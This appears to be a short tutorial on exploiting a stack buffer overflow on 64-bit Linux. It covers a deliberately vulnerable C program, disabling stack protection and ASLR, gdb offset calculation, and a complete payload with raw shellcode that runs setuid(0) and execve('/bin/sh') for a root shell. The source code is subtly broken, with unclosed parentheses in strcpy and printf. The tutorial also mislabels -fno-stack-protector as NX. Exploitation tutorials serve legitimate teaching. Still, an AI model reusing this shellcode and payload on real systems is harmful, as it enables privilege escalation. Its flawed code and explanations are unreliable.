Buffer Overflow Part 1 (64 bit machine)

Code:

hello.c

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
  char buf[80];
  strcpy(buf, argv[1];
  printf ("Hello you passed in parameter %s\n", argv[1];
  printf ("Address is at: %p\n", (void*)buf);
  return 0;
}


For the following code, we compile with

gcc hello.c -fno-stack-protector -z execstack -g3

-fno-stack-protector - no stack protection (NX)
-z execstack - allows execution of instructions on the stack

We also need to disable ASLR by running the following command as root:

echo 0 > /proc/sys/kernel/randomize_va_space

After which when we run the following we get

[roland@localhost ~]$ ./a.out HelloWorld
Hello you passed in parameter HelloWorld
Address is at: 0x7fffffffe530

When we run a.out using gdb

we can break at the main and take a look at the buf address by using

p &buf
$1 = (char (*)[80]) 0x7fffffffe4b0

Notice that for gdb, the address is different from that when running it without gdb.

When we finish running the instruction "leave", we do a "info register" or "i r"

to get the rsp which shows 0x7fffffffe510.

This is the address which stores the value of the instruction to return to.

To know how much data to write, we can use 0x7fffffffe510 - 0x7fffffffe4b0

This is 96 bytes including <instructions><extra bytes><return address>

Our return address is in fact the address that stores the <instructions> i.e. 0x7fffffffe4b0

However since we will be using python to write the data, we have to write it in this manner:

\xb0\xe4\xff\xff\xff\x7f

Our instructions will have to be able to set UID to 0 and also call execve to run /bin/sh

"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"

Note that this is 48 bytes and our return address is 8 bytes. This is a total of 56 bytes which is not enough. We need to fill the rest of the <extra bytes> with "A" which needs to be 40 bytes

<48 bytes> <40 bytes> <8 bytes>

Lastly when we run

./a.out $(python -c 'print "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" + "A" * 40 + "\xb0\xe4\xff\xff\xff\x7f"')

we will be able to get a root shell

To check that you're root, type whoami
root

Comments